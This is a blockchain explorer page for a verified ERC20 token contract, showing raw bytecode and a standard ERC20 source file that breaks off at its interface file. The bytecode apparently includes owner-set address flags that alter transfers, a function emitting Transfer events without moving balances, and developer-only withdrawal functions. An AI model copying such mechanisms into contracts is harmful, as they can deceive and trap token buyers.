Address Contract Verified
Address
0x3Fc081cFB00E73c5a360e1bcD85666858323B17a
Balance
0 ETH
Nonce
1
Code Size
14152 bytes
Creator
0xF50CeEF3...AAa5 at tx 0xdeb734b4...3cbc9d
Indexed Transactions
0
Contract Bytecode
14152 bytes
0x608060405260043610610254575f3560e01c8063715018a611610138578063a457c2d7116100b5578063c9567bf911610079578063c9567bf914610889578063dd62ed3e1461089f578063e2f45605146108db578063f2fde38b14610905578063f8b45b051461092d578063ffb54a99146109575761025b565b8063a457c2d714610795578063a9059cbb146107d1578063c02466681461080d578063c876d0b914610835578063c8c8ebe41461085f5761025b565b80638da5cb5b116100fc5780638da5cb5b146106c757806395d89b41146106f1578063975d41d51461071b5780639a7a23d614610757578063a0ef91df1461077f5761025b565b8063715018a61461062157806371f5f01a14610637578063751039fc1461065f5780637571336a146106755780637d1db4a51461069d5761025b565b8063313ce567116101d157806349bd5a5e1161019557806349bd5a5e146104f15780634fbee1931461051b578063500116be146105575780636ddd17131461057f5780636ebcf607146105a957806370a08231146105e55761025b565b8063313ce56714610411578063395093511461043b5780633a61363a146104775780634141d1bb1461049f57806347062402146104c75761025b565b806318160ddd1161021857806318160ddd1461034157806323b872dd1461036b5780632b14ca56146103a75780632cb743f7146103d1578063311028af146103e75761025b565b806306fdde031461025f578063095ea7b3146102895780630faee56f146102c55780631186b8d8146102ef5780631694505e146103175761025b565b3661025b57005b5f5ffd5b34801561026a575f5ffd5b50610273610981565b6040516102809190612558565b60405180910390f35b348015610294575f5ffd5b506102af60048036038101906102aa919061260d565b610a11565b6040516102bc9190612665565b60405180910390f35b3480156102d0575f5ffd5b506102d9610a33565b6040516102e6919061268d565b60405180910390f35b3480156102fa575f5ffd5b5061031560048036038101906103109190612731565b610a39565b005b348015610322575f5ffd5b5061032b610adf565b60405161033891906127e9565b60405180910390f35b34801561034c575f5ffd5b50610355610b03565b604051610362919061268d565b60405180910390f35b348015610376575f5ffd5b50610391600480360381019061038c9190612802565b610b0c565b60405161039e9190612665565b60405180910390f35b3480156103b2575f5ffd5b506103bb610b3a565b6040516103c8919061268d565b60405180910390f35b3480156103dc575f5ffd5b506103e5610b40565b005b3480156103f2575f5ffd5b506103fb610bda565b604051610408919061268d565b60405180910390f35b34801561041c575f5ffd5b50610425610be0565b604051610432919061286d565b60405180910390f35b348015610446575f5ffd5b50610461600480360381019061045c919061260d565b610be8565b60405161046e9190612665565b60405180910390f35b348015610482575f5ffd5b5061049d60048036038101906104989190612886565b610c1e565b005b3480156104aa575f5ffd5b506104c560048036038101906104c091906128f7565b610cd6565b005b3480156104d2575f5ffd5b506104db610cf0565b6040516104e8919061268d565b60405180910390f35b3480156104fc575f5ffd5b50610505610cf6565b6040516105129190612944565b60405180910390f35b348015610526575f5ffd5b50610541600480360381019061053c919061295d565b610d1b565b60405161054e9190612665565b60405180910390f35b348015610562575f5ffd5b5061057d60048036038101906105789190612988565b610d6d565b005b34801561058a575f5ffd5b50610593610d97565b6040516105a09190612665565b60405180910390f35b3480156105b4575f5ffd5b506105cf60048036038101906105ca919061295d565b610daa565b6040516105dc919061268d565b60405180910390f35b3480156105f0575f5ffd5b5061060b6004803603810190610606919061295d565b610dbe565b604051610618919061268d565b60405180910390f35b34801561062c575f5ffd5b50610635610e03565b005b348015610642575f5ffd5b5061065d60048036038101906106589190612988565b610e16565b005b34801561066a575f5ffd5b50610673610eaa565b005b348015610680575f5ffd5b5061069b600480360381019061069691906129b3565b610edf565b005b3480156106a8575f5ffd5b506106b1610f3f565b6040516106be919061268d565b60405180910390f35b3480156106d2575f5ffd5b506106db610f45565b6040516106e89190612944565b60405180910390f35b3480156106fc575f5ffd5b50610705610f6d565b6040516107129190612558565b60405180910390f35b348015610726575f5ffd5b50610741600480360381019061073c919061295d565b610ffd565b60405161074e9190612665565b60405180910390f35b348015610762575f5ffd5b5061077d600480360381019061077891906129b3565b61104f565b005b34801561078a575f5ffd5b506107936110f4565b005b3480156107a0575f5ffd5b506107bb60048036038101906107b6919061260d565b6111db565b6040516107c89190612665565b60405180910390f35b3480156107dc575f5ffd5b506107f760048036038101906107f2919061260d565b611250565b6040516108049190612665565b60405180910390f35b348015610818575f5ffd5b50610833600480360381019061082e91906129b3565b611272565b005b348015610840575f5ffd5b50610849611320565b6040516108569190612665565b60405180910390f35b34801561086a575f5ffd5b50610873611332565b604051610880919061268d565b60405180910390f35b348015610894575f5ffd5b5061089d611338565b005b3480156108aa575f5ffd5b506108c560048036038101906108c091906129f1565b611377565b6040516108d2919061268d565b60405180910390f35b3480156108e6575f5ffd5b506108ef6113f9565b6040516108fc919061268d565b60405180910390f35b348015610910575f5ffd5b5061092b6004803603810190610926919061295d565b6113ff565b005b348015610938575f5ffd5b50610941611481565b60405161094e919061268d565b60405180910390f35b348015610962575f5ffd5b5061096b611487565b6040516109789190612665565b60405180910390f35b60606003805461099090612a5c565b80601f01602080910402602001604051908101604052809291908181526020018280546109bc90612a5c565b8015610a075780601f106109de57610100808354040283529160200191610a07565b820191905f5260205f20905b8154815290600101906020018083116109ea57829003601f168201915b5050505050905090565b5f5f610a1b611499565b9050610a288185856114a0565b600191505092915050565b600d5481565b610a41611663565b5f5f90505b83839050811015610ad95781601e5f868685818110610a6857610a67612a8c565b5b9050602002016020810190610a7d919061295d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610a46565b50505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b5f600254905090565b5f5f610b16611499565b9050610b238582856116e1565b610b2e85858561176c565b60019150509392505050565b60125481565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b80611499565b73ffffffffffffffffffffffffffffffffffffffff1614610b9f575f5ffd5b5f610ba930610dbe565b9050610bd73060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361176c565b50565b600a5481565b5f6009905090565b5f5f610bf2611499565b9050610c13818585610c048589611377565b610c0e9190612ae6565b6114a0565b600191505092915050565b610c26611663565b5f5f90505b84849050811015610ccf57848482818110610c4957610c48612a8c565b5b9050602002016020810190610c5e919061295d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cba919061268d565b60405180910390a38080600101915050610c2b565b5050505050565b610cde611663565b80601281905550816011819055505050565b60115481565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610d75611663565b6009600a610d839190612c48565b81610d8e9190612c92565b60198190555050565b601a60019054906101000a900460ff1681565b5f602052805f5260405f205f915090505481565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610e0b611663565b610e145f611f09565b565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e56611499565b73ffffffffffffffffffffffffffffffffffffffff1614610e75575f5ffd5b5f610e7f30610dbe565b90505f60648383610e909190612c92565b610e9a9190612d00565b9050610ea581611fcc565b505050565b610eb2611663565b600a54600e81905550600a54600c819055505f60175f6101000a81548160ff021916908315150217905550565b610ee7611663565b80601c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600b5481565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610f7c90612a5c565b80601f0160208091040260200160405190810160405280929190818152602001828054610fa890612a5c565b8015610ff35780601f10610fca57610100808354040283529160200191610ff3565b820191905f5260205f20905b815481529060010190602001808311610fd657829003601f168201915b5050505050905090565b5f601e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b611057611663565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dd90612da0565b60405180910390fd5b6110f08282612220565b5050565b5f4711611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d90612e08565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611176611499565b73ffffffffffffffffffffffffffffffffffffffff1614611195575f5ffd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f193505050501580156111d8573d5f5f3e3d5ffd5b50565b5f5f6111e5611499565b90505f6111f28286611377565b905083811015611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e90612e96565b60405180910390fd5b61124482868684036114a0565b60019250505092915050565b5f5f61125a611499565b905061126781858561176c565b600191505092915050565b61127a611663565b80601b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516113149190612665565b60405180910390a25050565b60175f9054906101000a900460ff1681565b600e5481565b611340611663565b6001601a5f6101000a81548160ff0219169083151502179055506001601a60016101000a81548160ff021916908315150217905550565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60195481565b611407611663565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c90612f24565b60405180910390fd5b61147e81611f09565b50565b600c5481565b601a5f9054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361150e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150590612fb2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361157c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157390613040565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611656919061268d565b60405180910390a3505050565b61166b611499565b73ffffffffffffffffffffffffffffffffffffffff166116896122be565b73ffffffffffffffffffffffffffffffffffffffff16146116df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d6906130a8565b60405180910390fd5b565b5f6116ec8484611377565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146117665781811015611758576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174f90613136565b60405180910390fd5b61176584848484036114a0565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d1906131c4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611848576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183f90613252565b60405180910390fd5b5f811161188a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611881906132e0565b60405180910390fd5b5f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054811115611909576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119009061336e565b60405180910390fd5b5f60185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403611990574360185f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b611998610f45565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a0657506119d6610f45565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d755760075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ab357507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b065750601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611bc057600b54811115611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b47906133d6565b60405180910390fd5b600c5481611b5d84610dbe565b611b679190612ae6565b1115611ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9f9061343e565b60405180910390fd5b60165f815480929190611bba9061345c565b91905055505b5f611bca30610dbe565b9050600f5f9054906101000a900460ff16158015611c34575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c4c5750601a60019054906101000a900460ff165b8015611c59575060195481115b8015611c685750601354601654115b15611d7357601054431115611c7f575f6014819055505b600360145410611cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbb906134ed565b60405180910390fd5b611ce1611cdc83611cd784600d546122d1565b6122d1565b611fcc565b5f4790505f811115611d535760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8490811502906040515f60405180830381858888f19350505050158015611d51573d5f5f3e3d5ffd5b505b60145f815480929190611d659061345c565b919050555043601081905550505b505b611d7f81846122e9565b9050611dd0815f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461240190919063ffffffff16565b5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611e5f815f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461241690919063ffffffff16565b5f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611efc919061268d565b60405180910390a3505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600267ffffffffffffffff811115611fe857611fe761350b565b5b6040519080825280602002602001820160405280156120165781602001602082028036833780820191505090505b50905030815f8151811061202d5761202c612a8c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156120d0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906120f4919061354c565b8160018151811061210857612107612a8c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061216d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846114a0565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8460095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016121ef959493929190613687565b5f604051808303815f87803b158015612206575f5ffd5b505af1158015612218573d5f5f3e3d5ffd5b505050505050565b80601d5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b5f5f6122c861242b565b90508091505090565b5f8183116122df57826122e1565b815b905092915050565b5f5f603290505f60185f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20544361233991906136df565b90505f82826123489190612c92565b90505f606482116123655781606461236091906136df565b612367565b5f5b90505f606482896123789190612c92565b6123829190612d00565b9050601e5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156123f2576123e65f826124cf90919063ffffffff16565b955050505050506123fb565b87955050505050505b92915050565b5f818361240e91906136df565b905092915050565b5f81836124239190612ae6565b905092915050565b5f5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124a75760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166124ca565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f818310156124de57816124e0565b825b905092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61252a826124e8565b61253481856124f2565b9350612544818560208601612502565b61254d81612510565b840191505092915050565b5f6020820190508181035f8301526125708184612520565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6125a982612580565b9050919050565b6125b98161259f565b81146125c3575f5ffd5b50565b5f813590506125d4816125b0565b92915050565b5f819050919050565b6125ec816125da565b81146125f6575f5ffd5b50565b5f81359050612607816125e3565b92915050565b5f5f6040838503121561262357612622612578565b5b5f612630858286016125c6565b9250506020612641858286016125f9565b9150509250929050565b5f8115159050919050565b61265f8161264b565b82525050565b5f6020820190506126785f830184612656565b92915050565b612687816125da565b82525050565b5f6020820190506126a05f83018461267e565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f8401126126c7576126c66126a6565b5b8235905067ffffffffffffffff8111156126e4576126e36126aa565b5b602083019150836020820283011115612700576126ff6126ae565b5b9250929050565b6127108161264b565b811461271a575f5ffd5b50565b5f8135905061272b81612707565b92915050565b5f5f5f6040848603121561274857612747612578565b5b5f84013567ffffffffffffffff8111156127655761276461257c565b5b612771868287016126b2565b935093505060206127848682870161271d565b9150509250925092565b5f819050919050565b5f6127b16127ac6127a784612580565b61278e565b612580565b9050919050565b5f6127c282612797565b9050919050565b5f6127d3826127b8565b9050919050565b6127e3816127c9565b82525050565b5f6020820190506127fc5f8301846127da565b92915050565b5f5f5f6060848603121561281957612818612578565b5b5f612826868287016125c6565b9350506020612837868287016125c6565b9250506040612848868287016125f9565b9150509250925092565b5f60ff82169050919050565b61286781612852565b82525050565b5f6020820190506128805f83018461285e565b92915050565b5f5f5f5f6060858703121561289e5761289d612578565b5b5f85013567ffffffffffffffff8111156128bb576128ba61257c565b5b6128c7878288016126b2565b945094505060206128da878288016125c6565b92505060406128eb878288016125f9565b91505092959194509250565b5f5f6040838503121561290d5761290c612578565b5b5f61291a858286016125f9565b925050602061292b858286016125f9565b9150509250929050565b61293e8161259f565b82525050565b5f6020820190506129575f830184612935565b92915050565b5f6020828403121561297257612971612578565b5b5f61297f848285016125c6565b91505092915050565b5f6020828403121561299d5761299c612578565b5b5f6129aa848285016125f9565b91505092915050565b5f5f604083850312156129c9576129c8612578565b5b5f6129d6858286016125c6565b92505060206129e78582860161271d565b9150509250929050565b5f5f60408385031215612a0757612a06612578565b5b5f612a14858286016125c6565b9250506020612a25858286016125c6565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612a7357607f821691505b602082108103612a8657612a85612a2f565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612af0826125da565b9150612afb836125da565b9250828201905080821115612b1357612b12612ab9565b5b92915050565b5f8160011c9050919050565b5f5f8291508390505b6001851115612b6e57808604811115612b4a57612b49612ab9565b5b6001851615612b595780820291505b8081029050612b6785612b19565b9450612b2e565b94509492505050565b5f82612b865760019050612c41565b81612b93575f9050612c41565b8160018114612ba95760028114612bb357612be2565b6001915050612c41565b60ff841115612bc557612bc4612ab9565b5b8360020a915084821115612bdc57612bdb612ab9565b5b50612c41565b5060208310610133831016604e8410600b8410161715612c175782820a905083811115612c1257612c11612ab9565b5b612c41565b612c248484846001612b25565b92509050818404811115612c3b57612c3a612ab9565b5b81810290505b9392505050565b5f612c52826125da565b9150612c5d83612852565b9250612c8a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b77565b905092915050565b5f612c9c826125da565b9150612ca7836125da565b9250828202612cb5816125da565b91508282048414831517612ccc57612ccb612ab9565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612d0a826125da565b9150612d15836125da565b925082612d2557612d24612cd3565b5b828204905092915050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d205f8201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b5f612d8a6039836124f2565b9150612d9582612d30565b604082019050919050565b5f6020820190508181035f830152612db781612d7e565b9050919050565b7f546f6b656e3a206e6f2045544820696e2074686520636f6e74726163740000005f82015250565b5f612df2601d836124f2565b9150612dfd82612dbe565b602082019050919050565b5f6020820190508181035f830152612e1f81612de6565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612e806025836124f2565b9150612e8b82612e26565b604082019050919050565b5f6020820190508181035f830152612ead81612e74565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612f0e6026836124f2565b9150612f1982612eb4565b604082019050919050565b5f6020820190508181035f830152612f3b81612f02565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612f9c6024836124f2565b9150612fa782612f42565b604082019050919050565b5f6020820190508181035f830152612fc981612f90565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61302a6022836124f2565b915061303582612fd0565b604082019050919050565b5f6020820190508181035f8301526130578161301e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6130926020836124f2565b915061309d8261305e565b602082019050919050565b5f6020820190508181035f8301526130bf81613086565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f6131206028836124f2565b915061312b826130c6565b604082019050919050565b5f6020820190508181035f83015261314d81613114565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6131ae6025836124f2565b91506131b982613154565b604082019050919050565b5f6020820190508181035f8301526131db816131a2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61323c6023836124f2565b9150613247826131e2565b604082019050919050565b5f6020820190508181035f83015261326981613230565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6132ca6029836124f2565b91506132d582613270565b604082019050919050565b5f6020820190508181035f8301526132f7816132be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6133586026836124f2565b9150613363826132fe565b604082019050919050565b5f6020820190508181035f8301526133858161334c565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6133c06019836124f2565b91506133cb8261338c565b602082019050919050565b5f6020820190508181035f8301526133ed816133b4565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613428601a836124f2565b9150613433826133f4565b602082019050919050565b5f6020820190508181035f8301526134558161341c565b9050919050565b5f613466826125da565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361349857613497612ab9565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f6134d76017836124f2565b91506134e2826134a3565b602082019050919050565b5f6020820190508181035f830152613504816134cb565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050613546816125b0565b92915050565b5f6020828403121561356157613560612578565b5b5f61356e84828501613538565b91505092915050565b5f819050919050565b5f61359a61359561359084613577565b61278e565b6125da565b9050919050565b6135aa81613580565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6135e28161259f565b82525050565b5f6135f383836135d9565b60208301905092915050565b5f602082019050919050565b5f613615826135b0565b61361f81856135ba565b935061362a836135ca565b805f5b8381101561365a57815161364188826135e8565b975061364c836135ff565b92505060018101905061362d565b5085935050505092915050565b5f613671826127b8565b9050919050565b61368181613667565b82525050565b5f60a08201905061369a5f83018861267e565b6136a760208301876135a1565b81810360408301526136b9818661360b565b90506136c86060830185613678565b6136d5608083018461267e565b9695505050505050565b5f6136e9826125da565b91506136f4836125da565b925082820390508181111561370c5761370b612ab9565b5b9291505056fea26469706673582212208d903c24d990cdd89b63a693ff9700bcbb9577a4a25317f4324ea5dfee34756664736f6c634300081c0033
Verified Source Code Full Match
Compiler: v0.8.28+commit.7893614a
EVM: cancun
Optimization: No
ERC20.sol 134 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
import {Context} from "./Ownable.sol";
import "./IERC20.sol";
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
IERC20.sol 29 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;
interface IERC20 {
